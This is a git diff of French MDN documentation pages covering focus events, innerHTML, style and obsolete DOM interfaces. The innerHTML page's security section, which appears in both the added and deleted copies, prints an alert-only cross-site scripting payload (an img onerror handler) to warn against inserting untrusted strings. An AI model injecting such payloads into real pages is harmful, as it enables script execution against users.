cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)Event target receiving focus.
+ +

Compatibilité navigateur

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support basique{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
NavigateurAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support basique{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Cet événement n'est pas encore supporté par Firefox, voir {{Bug("687787")}}. Il est possible d'utiliser l'événement focus à la place, qui est aussi compatible avec la délégation d'événements.

+ +

Evénements liés

+ +
    +
  • {{event("focus")}}
    • +
  • {{event("blur")}}
    • +
  • {{event("focusin")}}
    • +
  • {{event("focusout")}}
    • +
diff --git a/files/fr/web/api/element/focusout_event/index.html b/files/fr/web/api/element/focusout_event/index.html new file mode 100644 index 0000000000..01ddab4738 --- /dev/null +++ b/files/fr/web/api/element/focusout_event/index.html @@ -0,0 +1,123 @@ +--- +title: focusout +slug: Web/Events/focusout +translation_of: Web/API/Element/focusout_event +--- +

L'évènement focusout est déclenché lorsqu'un élément du DOM est sur le point de perdre le focus. La différence principale entre cet événement et blur est que ce dernier ne se propage pas.

+ +

Informations générales

+ +
+
Spécification
+
DOM L3
+
Interface
+
{{domxref("FocusEvent")}}
+
Propagation
+
Oui
+
Annulable
+
Non
+
Cible
+
{{domxref("Element")}}
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target losing focus.
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)Event target receiving focus.
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support de base{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
NavigateurAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support de base{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] Cet évènement n'est pas encore supporté dans Firefox, voir {{Bug("687787")}}. Il est possible d'utiliser l'évènement blur à la place, qui est également compatible avec event delegation.

+ +

Evénements liés

+ +
    +
  • {{event("focus")}}
    • +
  • {{event("blur")}}
    • +
  • {{event("focusin")}}
    • +
  • {{event("focusout")}}
    • +
diff --git a/files/fr/web/api/element/innerhtml/index.html b/files/fr/web/api/element/innerhtml/index.html new file mode 100644 index 0000000000..6addb7d54e --- /dev/null +++ b/files/fr/web/api/element/innerhtml/index.html @@ -0,0 +1,203 @@ +--- +title: element.innerHTML +slug: Web/API/Element/innertHTML +tags: + - API + - DOM + - Elements + - HTML + - Propriétés +translation_of: Web/API/Element/innerHTML +--- +
{{APIRef("DOM")}}
+ +

La propriété Element.innerHTML de {{domxref("Element")}} récupère ou définit la syntaxe HTML décrivant les descendants de l'élément.

+ +
Note: Si un nœud {{HTMLElement("div")}}, {{HTMLElement("span")}}, ou {{HTMLElement("noembed")}} a un sous-nœud de type texte contenant les caractères (&), (<), ou (>), innerHTML renverra à la place les chaînes suivantes : "&amp;", "&lt;" et "&gt;" respectivement. Utilisez {{domxref("Node.textContent")}} pour obtenir une copie exacte du contenu de ces nœuds.
+ +

Pour insérer le HTML dans le document, plutôt que de remplacer le contenu d'un élément, utilisez la méthode {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}}.

+ +

Syntaxe

+ +
const content = element.innerHTML;
+
+element.innerHTML = htmlString;
+
+ +

Valeur

+ +

Une  {{domxref("DOMString")}} contenant la sérialisation HTML des descendants de l'élément. Définir la valeur de innerHTML supprime tous les descendants et les remplace par les noeuds construits en analysant le HTML donné dans la chaîne htmlString.

+ +

Exceptions

+ +
+
SyntaxError
+
Une tentative a été faite de définir la valeur de innerHTML en utilisant une chaîne qui n'est pas correctement formée HTML.
+
NoModificationAllowedError
+
Une tentative a été faite d'insérer le code HTML dans un noeud dont le parent est un {{domxref("Document")}}.
+
+ +

Notes d'utilisation

+ +

La propriété innerHTML peut être utilisée pour examiner la source HTML actuelle de la page, y compris tous les changements réalisés depuis son chargement initial.

+ +

Lecture du contenu HTML d'un élément

+ +

La lecture de innerHTML amène l'agent utilisateur à sérialiser le fragment HTML ou XML composé des descendants de l'élément. La chaîne résultante est renvoyée.

+ +
let contents = myElement.innerHTML;
+ +

Cela vous permet de regarder le balisage HTML des nœuds de contenu de l'élément.

+ +
+

Note : Le fragment HTML ou XML renvoyé est généré en fonction du contenu actuel de l'élément. Il est donc probable que le balisage et la mise en forme du fragment renvoyé ne correspondent pas au balisage de la page d'origine.

+
+ +

Remplacement du contenu d'un élément

+ +

Définir la valeur de innerHTML vous permet de remplacer aisément le contenu existant d'un élément par un nouveau contenu.

+ +

Par exemple, vous pouvez effacer le contenu entier du document en effaçant le contenu de l'attribut {{domxref("Document.body", "body")}} du document.

+ +
document.body.innerHTML = "";
+ +

Cet exemple récupère le balisage HTML actuel du document et remplace les caractères "<" par l'entité HTML "& lt;", convertissant ainsi essentiellement le code HTML en texte brut. Ceci est ensuite inclus dans un élément {{HTMLElement ("pre")}}. Puis, la valeur de innerHTML est modifiée dans cette nouvelle chaîne. Par conséquent, le contenu du document est remplacé par un affichage du code source entier de la page.

+ +
document.documentElement.innerHTML = "<pre>" +
+         document.documentElement.innerHTML.replace(/</g,"&lt;") +
+            "</pre>";
+ +

Détails opérationnels

+ +

Qu'arrive-t-il exactement quand vous définissez la valeur de innerHTML ?  Cela entraîne l'agent utilisateur à suivre ces étapes :

+ +
    +
  1. La valeur spécifiée est analysée en HTML ou XML (en fonction du type de document), ce qui donne un objet {{domxref ("DocumentFragment")}} représentant le nouvel ensemble de nœuds DOM pour les nouveaux éléments.
    2. +
  2. Si l'élément dont le contenu est remplacé est un élément {{HTMLElement ("template")}}, l'attribut {{domxref ("HTMLTemplateElement.content", "content")}} de l'élément <template> est remplacé par le nouveau DocumentFragment créé à l'étape 1.
    3. +
  3. Pour tous les autres éléments, le contenu de l'élément est remplacé par les noeuds du nouveau DocumentFragment.
    4. +
+ +

Considérations de sécurité

+ +

Il n'est pas rare de voir innerHTML utilisé pour insérer du texte dans une page Web. Il est possible que ceci devienne un vecteur d'attaque sur un site, ce qui crée potentiellement un risque de sécurité.

+ +
const name = "John";
+// en supposant que 'el' est un élément de document HTML
+el.innerHTML = name; // inoffensif dans ce cas
+
+// ...
+
+name = "<script>alert('I am John in an annoying alert!')</script>";
+el.innerHTML = name; // inoffensif dans ce cas
+ +

Bien que cela puisse ressembler à une attaque {{interwiki ("wikipedia", "cross-site_scripting","cross-site scripting")}}, le résultat est inoffensif. HTML5 spécifie qu'une balise {{HTMLElement ("script")}} insérée avec innerHTML ne doit pas s'exécuter.

+ +

Cependant, il existe des moyens d'exécuter JavaScript sans utiliser les éléments {{HTMLElement ("script")}}, donc il existe toujours un risque de sécurité chaque fois que vous utilisez innerHTML pour définir des chaînes sur lesquelles vous n'avez aucun contrôle. Par exemple :

+ +
const name = "<img src='x' onerror='alert(1)'>";
+el.innerHTML = name; // affiche l'alerte
+ +

Pour cette raison, il est recommandé de ne pas utiliser innerHTML pour insérer du texte brut ; à la place, utilisez {{domxref("Node.textContent")}}. Cela n'analyse pas le contenu passé en HTML, mais l'insère à la place en tant que texte brut.

+ +
+

Attention : Si votre projet est soumis à une vérification de sécurité, l'utilisation de innerHTML entraînera probablement le rejet de votre code. Par exemple, si vous utilisez innerHTML dans une extension de navigateur et soumettez l'extension à addons.mozilla.org, elle ne passera pas le processus de révision automatique.

+
+ +

Exemple

+ +

Cet exemple utilise innerHTML pour créer un mécanisme pour consigner des messages dans une boîte sur une page Web.

+ +

JavaScript

+ +
function log(msg) {
+  var logElem = document.querySelector(".log");
+
+  var time = new Date();
+  var timeStr = time.toLocaleTimeString();
+  logElem.innerHTML += timeStr + ": " + msg + "<br/>";
+}
+
+log("Logging mouse events inside this container...");
+ +

La fonction log() crée la sortie du journal en récupérant l'heure actuelle à partir d'un objet {{jsxref ("Date")}} en utilisant {{jsxref ("Date.toLocaleTimeString", "toLocaleTimeString ()")}} et en créant une chaîne avec l'horodatage et le texte du message. Ensuite, le message est ajouté à la boîte avec la classe "log".

+ +

Nous ajoutons une seconde méthode qui enregistre des informations sur les événements basés sur {{domxref ("MouseEvent")}} (tels que {{event ("mousedown")}}, {{event ("click")}} et {{event ("mouseenter") }}) :

+ +
function logEvent(event) {
+  var msg = "Event <strong>" + event.type + "</strong> at <em>" +
+            event.clientX + ", " + event.clientY + "</em>";
+  log(msg);
+}
+ +

Alors, nous utilisons ceci comme un gestionnaire d'évènements pour un certain nombre d'évènements de souris sur la boîte qui contient notre journal.

+ +
var boxElem = document.querySelector(".box");
+
+boxElem.addEventListener("mousedown", logEvent);
+boxElem.addEventListener("mouseup", logEvent);
+boxElem.addEventListener("click", logEvent);
+boxElem.addEventListener("mouseenter", logEvent);
+boxElem.addEventListener("mouseleave", logEvent);
+ +

HTML

+ +

Le HTML est assez simple pour notre exemple.

+ +
<div class="box">
+  <div><strong>Log:</strong></div>
+  <div class="log"></div>
+</div>
+ +

Le {{HTMLElement ("div")}} avec la classe "box" est juste un conteneur pour la mise en page, présentant le contenu avec une boîte autour de lui. Le <div> dont la classe est "log" est le conteneur pour le texte du journal lui-même.

+ +

CSS

+ +

Les styles CSS suivants pour notre exemple de contenu.

+ +
.box {
+  width: 600px;
+  height: 300px;
+  border: 1px solid black;
+  padding: 2px 4px;
+  overflow-y: scroll;
+  overflow-x: auto;
+}
+
+.log {
+  margin-top: 8px;
+  font-family: monospace;
+}
+ +

Résultat

+ +

Le contenu résultant ressemble à ceci. Vous pouvez voir la sortie dans le journal en déplaçant la souris dans et hors de la boîte, en cliquant dedans, et ainsi de suite.

+ +

{{EmbedLiveSample("Exemple", 640, 350)}}

+ +

Spécification

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('DOM Parsing', '#innerhtml', 'Element.innerHTML')}}{{ Spec2('DOM Parsing') }}Définition initiale.
+ +

Voir aussi

+ +
    +
  • {{domxref("Node.textContent")}} and {{domxref("Node.innerText")}}
    • +
  • {{domxref("Element.insertAdjacentHTML")}}
    • +
  • Analyse HTML dans une arborescence DOM : {{domxref("DOMParser")}}
    • +
  • Sérialisation XML ou HTML dans une arborescence DOM : {{domxref("XMLSerializer")}}
    • +
diff --git a/files/fr/web/api/element/innerthtml/index.html b/files/fr/web/api/element/innerthtml/index.html deleted file mode 100644 index 6addb7d54e..0000000000 --- a/files/fr/web/api/element/innerthtml/index.html +++ /dev/null @@ -1,203 +0,0 @@ ---- -title: element.innerHTML -slug: Web/API/Element/innertHTML -tags: - - API - - DOM - - Elements - - HTML - - Propriétés -translation_of: Web/API/Element/innerHTML ---- -
{{APIRef("DOM")}}
- -

La propriété Element.innerHTML de {{domxref("Element")}} récupère ou définit la syntaxe HTML décrivant les descendants de l'élément.

- -
Note: Si un nœud {{HTMLElement("div")}}, {{HTMLElement("span")}}, ou {{HTMLElement("noembed")}} a un sous-nœud de type texte contenant les caractères (&), (<), ou (>), innerHTML renverra à la place les chaînes suivantes : "&amp;", "&lt;" et "&gt;" respectivement. Utilisez {{domxref("Node.textContent")}} pour obtenir une copie exacte du contenu de ces nœuds.
- -

Pour insérer le HTML dans le document, plutôt que de remplacer le contenu d'un élément, utilisez la méthode {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}}.

- -

Syntaxe

- -
const content = element.innerHTML;
-
-element.innerHTML = htmlString;
-
- -

Valeur

- -

Une  {{domxref("DOMString")}} contenant la sérialisation HTML des descendants de l'élément. Définir la valeur de innerHTML supprime tous les descendants et les remplace par les noeuds construits en analysant le HTML donné dans la chaîne htmlString.

- -

Exceptions

- -
-
SyntaxError
-
Une tentative a été faite de définir la valeur de innerHTML en utilisant une chaîne qui n'est pas correctement formée HTML.
-
NoModificationAllowedError
-
Une tentative a été faite d'insérer le code HTML dans un noeud dont le parent est un {{domxref("Document")}}.
-
- -

Notes d'utilisation

- -

La propriété innerHTML peut être utilisée pour examiner la source HTML actuelle de la page, y compris tous les changements réalisés depuis son chargement initial.

- -

Lecture du contenu HTML d'un élément

- -

La lecture de innerHTML amène l'agent utilisateur à sérialiser le fragment HTML ou XML composé des descendants de l'élément. La chaîne résultante est renvoyée.

- -
let contents = myElement.innerHTML;
- -

Cela vous permet de regarder le balisage HTML des nœuds de contenu de l'élément.

- -
-

Note : Le fragment HTML ou XML renvoyé est généré en fonction du contenu actuel de l'élément. Il est donc probable que le balisage et la mise en forme du fragment renvoyé ne correspondent pas au balisage de la page d'origine.

-
- -

Remplacement du contenu d'un élément

- -

Définir la valeur de innerHTML vous permet de remplacer aisément le contenu existant d'un élément par un nouveau contenu.

- -

Par exemple, vous pouvez effacer le contenu entier du document en effaçant le contenu de l'attribut {{domxref("Document.body", "body")}} du document.

- -
document.body.innerHTML = "";
- -

Cet exemple récupère le balisage HTML actuel du document et remplace les caractères "<" par l'entité HTML "& lt;", convertissant ainsi essentiellement le code HTML en texte brut. Ceci est ensuite inclus dans un élément {{HTMLElement ("pre")}}. Puis, la valeur de innerHTML est modifiée dans cette nouvelle chaîne. Par conséquent, le contenu du document est remplacé par un affichage du code source entier de la page.

- -
document.documentElement.innerHTML = "<pre>" +
-         document.documentElement.innerHTML.replace(/</g,"&lt;") +
-            "</pre>";
- -

Détails opérationnels

- -

Qu'arrive-t-il exactement quand vous définissez la valeur de innerHTML ?  Cela entraîne l'agent utilisateur à suivre ces étapes :

- -
    -
  1. La valeur spécifiée est analysée en HTML ou XML (en fonction du type de document), ce qui donne un objet {{domxref ("DocumentFragment")}} représentant le nouvel ensemble de nœuds DOM pour les nouveaux éléments.
    2. -
  2. Si l'élément dont le contenu est remplacé est un élément {{HTMLElement ("template")}}, l'attribut {{domxref ("HTMLTemplateElement.content", "content")}} de l'élément <template> est remplacé par le nouveau DocumentFragment créé à l'étape 1.
    3. -
  3. Pour tous les autres éléments, le contenu de l'élément est remplacé par les noeuds du nouveau DocumentFragment.
    4. -
- -

Considérations de sécurité

- -

Il n'est pas rare de voir innerHTML utilisé pour insérer du texte dans une page Web. Il est possible que ceci devienne un vecteur d'attaque sur un site, ce qui crée potentiellement un risque de sécurité.

- -
const name = "John";
-// en supposant que 'el' est un élément de document HTML
-el.innerHTML = name; // inoffensif dans ce cas
-
-// ...
-
-name = "<script>alert('I am John in an annoying alert!')</script>";
-el.innerHTML = name; // inoffensif dans ce cas
- -

Bien que cela puisse ressembler à une attaque {{interwiki ("wikipedia", "cross-site_scripting","cross-site scripting")}}, le résultat est inoffensif. HTML5 spécifie qu'une balise {{HTMLElement ("script")}} insérée avec innerHTML ne doit pas s'exécuter.

- -

Cependant, il existe des moyens d'exécuter JavaScript sans utiliser les éléments {{HTMLElement ("script")}}, donc il existe toujours un risque de sécurité chaque fois que vous utilisez innerHTML pour définir des chaînes sur lesquelles vous n'avez aucun contrôle. Par exemple :

- -
const name = "<img src='x' onerror='alert(1)'>";
-el.innerHTML = name; // affiche l'alerte
- -

Pour cette raison, il est recommandé de ne pas utiliser innerHTML pour insérer du texte brut ; à la place, utilisez {{domxref("Node.textContent")}}. Cela n'analyse pas le contenu passé en HTML, mais l'insère à la place en tant que texte brut.

- -
-

Attention : Si votre projet est soumis à une vérification de sécurité, l'utilisation de innerHTML entraînera probablement le rejet de votre code. Par exemple, si vous utilisez innerHTML dans une extension de navigateur et soumettez l'extension à addons.mozilla.org, elle ne passera pas le processus de révision automatique.

-
- -

Exemple

- -

Cet exemple utilise innerHTML pour créer un mécanisme pour consigner des messages dans une boîte sur une page Web.

- -

JavaScript

- -
function log(msg) {
-  var logElem = document.querySelector(".log");
-
-  var time = new Date();
-  var timeStr = time.toLocaleTimeString();
-  logElem.innerHTML += timeStr + ": " + msg + "<br/>";
-}
-
-log("Logging mouse events inside this container...");
- -

La fonction log() crée la sortie du journal en récupérant l'heure actuelle à partir d'un objet {{jsxref ("Date")}} en utilisant {{jsxref ("Date.toLocaleTimeString", "toLocaleTimeString ()")}} et en créant une chaîne avec l'horodatage et le texte du message. Ensuite, le message est ajouté à la boîte avec la classe "log".

- -

Nous ajoutons une seconde méthode qui enregistre des informations sur les événements basés sur {{domxref ("MouseEvent")}} (tels que {{event ("mousedown")}}, {{event ("click")}} et {{event ("mouseenter") }}) :

- -
function logEvent(event) {
-  var msg = "Event <strong>" + event.type + "</strong> at <em>" +
-            event.clientX + ", " + event.clientY + "</em>";
-  log(msg);
-}
- -

Alors, nous utilisons ceci comme un gestionnaire d'évènements pour un certain nombre d'évènements de souris sur la boîte qui contient notre journal.

- -
var boxElem = document.querySelector(".box");
-
-boxElem.addEventListener("mousedown", logEvent);
-boxElem.addEventListener("mouseup", logEvent);
-boxElem.addEventListener("click", logEvent);
-boxElem.addEventListener("mouseenter", logEvent);
-boxElem.addEventListener("mouseleave", logEvent);
- -

HTML

- -

Le HTML est assez simple pour notre exemple.

- -
<div class="box">
-  <div><strong>Log:</strong></div>
-  <div class="log"></div>
-</div>
- -

Le {{HTMLElement ("div")}} avec la classe "box" est juste un conteneur pour la mise en page, présentant le contenu avec une boîte autour de lui. Le <div> dont la classe est "log" est le conteneur pour le texte du journal lui-même.

- -

CSS

- -

Les styles CSS suivants pour notre exemple de contenu.

- -
.box {
-  width: 600px;
-  height: 300px;
-  border: 1px solid black;
-  padding: 2px 4px;
-  overflow-y: scroll;
-  overflow-x: auto;
-}
-
-.log {
-  margin-top: 8px;
-  font-family: monospace;
-}
- -

Résultat

- -

Le contenu résultant ressemble à ceci. Vous pouvez voir la sortie dans le journal en déplaçant la souris dans et hors de la boîte, en cliquant dedans, et ainsi de suite.

- -

{{EmbedLiveSample("Exemple", 640, 350)}}

- -

Spécification

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('DOM Parsing', '#innerhtml', 'Element.innerHTML')}}{{ Spec2('DOM Parsing') }}Définition initiale.
- -

Voir aussi

- -
    -
  • {{domxref("Node.textContent")}} and {{domxref("Node.innerText")}}
    • -
  • {{domxref("Element.insertAdjacentHTML")}}
    • -
  • Analyse HTML dans une arborescence DOM : {{domxref("DOMParser")}}
    • -
  • Sérialisation XML ou HTML dans une arborescence DOM : {{domxref("XMLSerializer")}}
    • -
diff --git a/files/fr/web/api/element/name/index.html b/files/fr/web/api/element/name/index.html deleted file mode 100644 index a4f8a6ba0a..0000000000 --- a/files/fr/web/api/element/name/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: element.name -slug: Web/API/Element/name -tags: - - API - - DOM - - Element - - Nom - - Propriétés -translation_of: Web/API -translation_of_original: Web/API/Element/name ---- -

{{ APIRef("DOM") }}

- -

name obtient ou définit la propriété name (nom) d'un élément dans le DOM. Il s'applique uniquement aux éléments suivants : {{ HTMLelement("a") }}, {{ HTMLelement("applet") }}, {{ HTMLelement("button") }}, {{ HTMLelement("form") }}, {{ HTMLelement("frame") }}, {{ HTMLelement("iframe") }}, {{ HTMLelement("img") }}, {{ HTMLelement("input") }}, {{ HTMLelement("map") }}, {{ HTMLelement("meta") }}, {{ HTMLelement("object") }}, {{ HTMLelement("param") }}, {{ HTMLelement("select") }} et {{ HTMLelement("textarea") }}.

- -
-

Note : La propriété name n'existe pas pour d'autres éléments ; contrairement à tagName et nodeName, ce n'est pas une propriété des interfaces {{domxref("Node")}}, {{domxref("Element")}} ou {{domxref("HTMLElement")}}.

-
- -

Le name peut être utilisé avec la méthode {{ domxref("document.getElementsByName()") }}, dans un formulaire et dans la collection elements d'un formulaire. Lorsqu'il est utilisé avec un formulaire ou les collections d'éléments, il peut renvoyer un seul élément ou une collection d'éléments.

- -

Syntaxe

- -
HTMLElement.name = string;
-var elName = HTMLElement.name;
-
-var fControl = HTMLFormElement.elementName;
-var controlCollection = HTMLFormElement.elements.elementName;
-
- -

Exemple

- -
<form action="" name="formA">
-  <input type="text" value="foo">
-</form>
-
-<script type="text/javascript">
-
-  // Obtient une référence au premier élément du formulaire
-  var formElement = document.forms['formA'].elements[0];
-
-  // Lui donne un nom
-  formElement.name = 'inputA';
-
-  // Affiche la valeur du champ
-  alert(document.forms['formA'].elements['inputA'].value);
-
-</script>
-
- -

Notes

- -

Dans Internet Explorer, la propriété name des objets DOM créés à l'aide de createElement ne peut être définie ou modifiée.

- -

Spécification

- -

Spécification DOM 2 HTML du W3C :

- - - -

Les traductions ne sont pas normatives.

diff --git a/files/fr/web/api/element/onwheel/index.html b/files/fr/web/api/element/onwheel/index.html deleted file mode 100644 index 837fda2ba2..0000000000 --- a/files/fr/web/api/element/onwheel/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Element.onwheel -slug: Web/API/Element/onwheel -tags: - - API - - DOM - - Gestionnaires d'évènements - - Propriété - - évènements -translation_of: Web/API/GlobalEventHandlers/onwheel ---- -

{{ ApiRef("DOM") }}

- -

La propriété onwheel renvoie le code du gestionnaire d'évènements onwheel de l'élément courrant.

- -

Syntaxe

- -
element.onwheel = function() { .. }
- -

Spécification

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG','webappapis.html#handler-onwheel','onwheel')}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilité des navigateurs

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(61)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatOpera(48)}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(61)}}{{CompatChrome(61)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatOperaMobile(48)}}{{CompatVersionUnknown}}
-
- -

Notes

- -

L'évènement wheel est déclenché lorsque l'utilisateur fait défiler le contenu de l'élément.

diff --git a/files/fr/web/api/elementcssinlinestyle/style/index.html b/files/fr/web/api/elementcssinlinestyle/style/index.html new file mode 100644 index 0000000000..85a19bb89a --- /dev/null +++ b/files/fr/web/api/elementcssinlinestyle/style/index.html @@ -0,0 +1,57 @@ +--- +title: HTMLElement.style +slug: Web/API/HTMLElement/style +tags: + - DOM + - Style +translation_of: Web/API/ElementCSSInlineStyle/style +--- +

{{ APIRef("HTML DOM") }}

+ +

Résumé

+ +

Renvoie un objet représentant l'attribut style de l'élément.

+ +

Exemple

+ +
var div = document.getElementById("div1");
+div.style.marginTop = ".25cm";
+
+ +

Notes

+ +

Étant donné que la propriété style d'un élément représente sa déclaration de style en-ligne, qui se trouve dans son attribut style et qui a la priorité la plus haute dans la cascade CSS, elle est utile pour définir un style pour un élément particulier.

+ +

Cependant, elle n'est pas utile pour connaître le style de l'élément en général, puisqu'elle ne représente que les déclarations CSS définies dans l'attribut style de l'élément, et pas celles qui viennent d'autres règles de style, comme celles qui peuvent se trouver dans la section <head> ou des feuilles de style externes.

+ +

Pour obtenir les valeurs de toutes les propriétés CSS pour un élément, vous devriez plutôt utiliser window.getComputedStyle.

+ +

Consultez la liste des propriétés CSS DOM pour une liste des propriétés CSS accessibles depuis le DOM. Vous y trouverez quelques notes supplémentaires concernant l'utilisation de la propriété style pour styler des éléments dans le DOM.

+ +

Il est généralement préférable d'utiliser la propriété style plutôt que elt.setAttribute('style', '...') depuis un script, étant donné que l'utilisation de la propriété style n'écrasera pas les autres propriétés CSS qui peuvent avoir été spécifiées dans l'attribut style.

+ +

Spécification

+ + + +

Compatibilité des navigateurs

+ + + +

{{Compat("api.HTMLElement.style")}}

+ +

Voir aussi

+ + + +

Lien Externe

+ + + +

{{ languages( { "en": "en/DOM/element.style", "ja": "ja/DOM/element.style", "pl": "pl/DOM/element.style" } ) }}

diff --git a/files/fr/web/api/entity/index.html b/files/fr/web/api/entity/index.html deleted file mode 100644 index 2c160ead13..0000000000 --- a/files/fr/web/api/entity/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Entity -slug: Web/API/Entity -tags: - - API - - DOM - - Entités - - Interface - - Noeuds -translation_of: Web/API/Entity ---- -

{{APIRef("DOM")}}{{obsolete_header}}

- -

Référence en lecture seule à une entité DTD (définition de type de document). Hérite également des méthodes et propriétés de {{domxref("Node")}}.

- -

Propriétés

- -
-
{{domxref("Entity.publicId")}} {{ReadOnlyInline}}
-
est une {{domxref("DOMString")}} (chaîne de caractères).
-
{{domxref("Entity.systemId")}} {{ReadOnlyInline}}
-
est une {{domxref("DOMString")}} (chaîne de caractères).
-
{{domxref("Entity.notationName")}}{{ReadOnlyInline}}
-
est une {{domxref("DOMString")}} (chaîne de caractères).
-
{{domxref("Entity.inputEncoding")}}{{ReadOnlyInline}}
-
est une {{domxref("DOMString")}} (chaîne de caractères).
-
{{domxref("Entity.xmlEncoding")}}{{ReadOnlyInline}}
-
est une {{domxref("DOMString")}} (chaîne de caractères).
-
{{domxref("Entity.xmlVersion")}}{{ReadOnlyInline}}
-
est une {{domxref("DOMString")}} (chaîne de caractères).
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName("DOM3 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM3 Core")}}Ajout de inputEncoding, xmlEncoding et xmlVersion.
{{SpecName("DOM2 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM2 Core")}}Pas de changement.
{{SpecName('DOM1', 'level-one-core.html#ID-527DCFF2', 'Entity')}}{{Spec2('DOM1')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
diff --git a/files/fr/web/api/entityreference/index.html b/files/fr/web/api/entityreference/index.html deleted file mode 100644 index ee21b2b83f..0000000000 --- a/files/fr/web/api/entityreference/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: EntityReference -slug: Web/API/EntityReference -tags: - - API - - Arborescence - - DOM - - Entité - - Interface - - Noeuds - - Reference -translation_of: Web/API/EntityReference ---- -

{{APIRef("DOM")}}{{Obsolete_header}}

- -
-

NOTE : Ceci n'est pas implémenté dans Mozilla

-
- -

Référence en lecture seule à une référence d'entité dans l'arborescence DOM. N'a pas de propriétés ou méthodes propres mais hérite de {{domxref("Node")}}.

- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName("DOM3 Core", "core.html#ID-11C98490", "EntityReference")}}{{Spec2("DOM3 Core")}}Définition initiale
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
diff --git "a/files/fr/web/api/event/comparaison_des_cibles_d_\303\251v\303\250nements/index.html" "b/files/fr/web/api/event/comparaison_des_cibles_d_\303\251v\303\250nements/index.html" deleted file mode 100644 index f938d0cff5..0000000000 --- "a/files/fr/web/api/event/comparaison_des_cibles_d_\303\251v\303\250nements/index.html" +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: Comparaison des cibles d'évènements -slug: Web/API/Event/Comparaison_des_cibles_d_évènements -tags: - - Cibles - - DOM - - évènements -translation_of: Web/API/Event/Comparison_of_Event_Targets ---- -

{{ ApiRef() }}

- -

Cibles d'évènements

- -

Il est facile de s'interroger sur la cible à examiner lors de l'écriture d'un gestionnaire d'événements. Cet article devrait clarifier l'utilisation des propriétés de la cible.

- -

Il y a 5 cibles à considérer :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéDéfinie dansObjectif
event.targetDOM Event Interface -

L'élément DOM sur le côté gauche de l'appel qui a déclenché cet événement, par exemple :

